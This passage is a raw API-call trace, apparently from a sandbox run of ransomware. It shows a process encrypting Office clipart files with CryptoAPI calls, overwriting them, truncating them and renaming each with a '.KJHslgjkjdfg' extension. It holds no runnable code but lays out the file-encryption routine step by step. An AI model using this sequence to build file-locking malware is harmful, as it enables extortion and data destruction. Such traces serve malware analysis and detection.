hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.729] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.729] GetProcessHeap () returned 0x2a0000 [0190.729] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.729] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.729] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.729] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.735] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.735] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.735] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.735] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.735] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.735] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.736] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x54b0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x54b0, lpOverlapped=0x0) returned 1 [0190.737] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54b0, dwBufLen=0x54b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x54b0) returned 1 [0190.737] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.737] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x54b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x54b0, lpOverlapped=0x0) returned 1 [0190.738] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.738] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.738] SetEndOfFile (hFile=0x114) returned 1 [0190.740] GetProcessHeap () returned 0x2a0000 [0190.741] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.741] GetProcessHeap () returned 0x2a0000 [0190.741] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.741] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01568_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01568_.wmf.kjhslgjkjdfg")) returned 1 [0190.743] CloseHandle (hObject=0x114) returned 1 [0190.743] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcb57400, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcb57400, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01569_.WMF", cAlternateFileName="")) returned 1 [0190.743] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.745] GetProcessHeap () returned 0x2a0000 [0190.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.745] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.745] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.745] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.745] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.745] GetProcessHeap () returned 0x2a0000 [0190.745] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.745] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.745] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.746] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.748] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.748] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.748] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.748] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.749] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.749] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.749] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.749] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x47a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x47a0, lpOverlapped=0x0) returned 1 [0190.750] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x47a0, dwBufLen=0x47a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x47a0) returned 1 [0190.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.750] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x47a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x47a0, lpOverlapped=0x0) returned 1 [0190.750] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.750] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.750] SetEndOfFile (hFile=0x114) returned 1 [0190.754] GetProcessHeap () returned 0x2a0000 [0190.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.754] GetProcessHeap () returned 0x2a0000 [0190.754] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.754] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01569_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01569_.wmf.kjhslgjkjdfg")) returned 1 [0190.756] CloseHandle (hObject=0x114) returned 1 [0190.756] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd5f9e00, ftCreationTime.dwHighDateTime=0x1bd4adf, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcd5f9e00, ftLastWriteTime.dwHighDateTime=0x1bd4adf, nFileSizeHigh=0x0, nFileSizeLow=0xa8a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01575_.WMF", cAlternateFileName="")) returned 1 [0190.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.757] GetProcessHeap () returned 0x2a0000 [0190.757] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.757] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.757] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.757] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.760] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.760] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.760] GetProcessHeap () returned 0x2a0000 [0190.760] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.760] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.760] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.760] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.760] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.760] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.760] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.761] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.761] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.761] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.761] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.761] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa8a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa8a6, lpOverlapped=0x0) returned 1 [0190.762] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa8b0, dwBufLen=0xa8b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa8b0) returned 1 [0190.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.763] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa8b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa8b0, lpOverlapped=0x0) returned 1 [0190.763] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.763] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa984, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.763] SetEndOfFile (hFile=0x114) returned 1 [0190.766] GetProcessHeap () returned 0x2a0000 [0190.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.766] GetProcessHeap () returned 0x2a0000 [0190.766] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01575_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01575_.wmf.kjhslgjkjdfg")) returned 1 [0190.768] CloseHandle (hObject=0x114) returned 1 [0190.768] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd892e800, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd892e800, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x2566, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01777_.WMF", cAlternateFileName="")) returned 1 [0190.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.769] GetProcessHeap () returned 0x2a0000 [0190.769] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.769] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.769] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.770] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0190.772] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.772] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.772] GetProcessHeap () returned 0x2a0000 [0190.772] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.772] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.772] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.772] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.772] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0190.772] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0190.772] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.773] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.773] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.773] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.773] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2566, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2566, lpOverlapped=0x0) returned 1 [0190.774] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2570, dwBufLen=0x2570 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2570) returned 1 [0190.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.774] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2570, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2570, lpOverlapped=0x0) returned 1 [0190.774] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.774] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2644, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.774] SetEndOfFile (hFile=0x114) returned 1 [0190.776] GetProcessHeap () returned 0x2a0000 [0190.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0190.776] GetProcessHeap () returned 0x2a0000 [0190.776] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0190.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01777_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01777_.wmf.kjhslgjkjdfg")) returned 1 [0190.778] CloseHandle (hObject=0x114) returned 1 [0190.778] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa64dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO01785_.WMF", cAlternateFileName="")) returned 1 [0190.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0190.779] GetProcessHeap () returned 0x2a0000 [0190.779] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0190.779] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0190.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0190.779] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0190.781] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0190.781] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0190.781] GetProcessHeap () returned 0x2a0000 [0190.781] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0190.781] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0190.781] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0190.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0190.781] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0190.781] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0190.782] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, 